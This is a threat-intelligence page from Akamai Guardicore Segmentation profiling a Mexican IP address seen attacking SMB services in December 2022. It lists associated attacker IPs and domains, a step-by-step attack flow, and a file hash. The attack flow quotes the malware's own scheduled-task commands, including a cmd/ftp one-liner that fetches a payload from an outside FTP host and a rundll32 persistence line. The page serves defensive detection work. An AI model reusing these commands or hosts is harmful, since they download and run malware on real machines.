Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 187.144.146.93Previously Malicious

IP Address: 187.144.146.93Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Outgoing Connection System File Modification HTTP Download and Execute Service Configuration Scheduled Task Creation Service Creation Download File Service Start Access Suspicious Domain SMB Cookie Hijacking SMB Null Session Login CMD

Associated Attack Servers

grantmindline.com hosteons.com

103.124.105.246 103.145.106.242 104.37.187.182 137.175.56.104 185.47.128.124 217.195.153.116 222.252.6.204

Basic Information

IP Address

187.144.146.93

Domain

-

ISP

-

Country

Mexico

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-12-01

Last seen in Akamai Guardicore Segmentation

2022-12-09

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 185.47.128.124:8124 and 217.195.153.116:80

Outgoing Connection

c:\windows\system32\services.exe installed and started cmd as a service named UoKt under service group None

Service Start Service Creation

The file c:\windows\temp\conhoy.exe was downloaded and executed

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:8888, 103.145.106.242:8888 and 137.175.56.104:8888

Outgoing Connection

C:\WINDOWS\Temp\wmia.bat was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

System file c:\windows\temp\conhoy.exe was modified 4 times

System File Modification

The file C:\WINDOWS\Temp\u.exe was downloaded and executed

Download and Execute

C:\WINDOWS\inf\aspnet\lsma22.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Access Suspicious Domain Outgoing Connection

System file C:\WINDOWS\Temp\wmia.bat was modified 4 times

System File Modification

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

System file C:\WINDOWS\inf\aspnet\lsma22.exe was modified 4 times

System File Modification

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

Associated Files

C:\WINDOWS\Temp\conhoy.exe

SHA256: 58064d9b9c44e6d6fe6f20abc74335859fb822f733d1b3e231a9d85aaef8e638

7680 bytes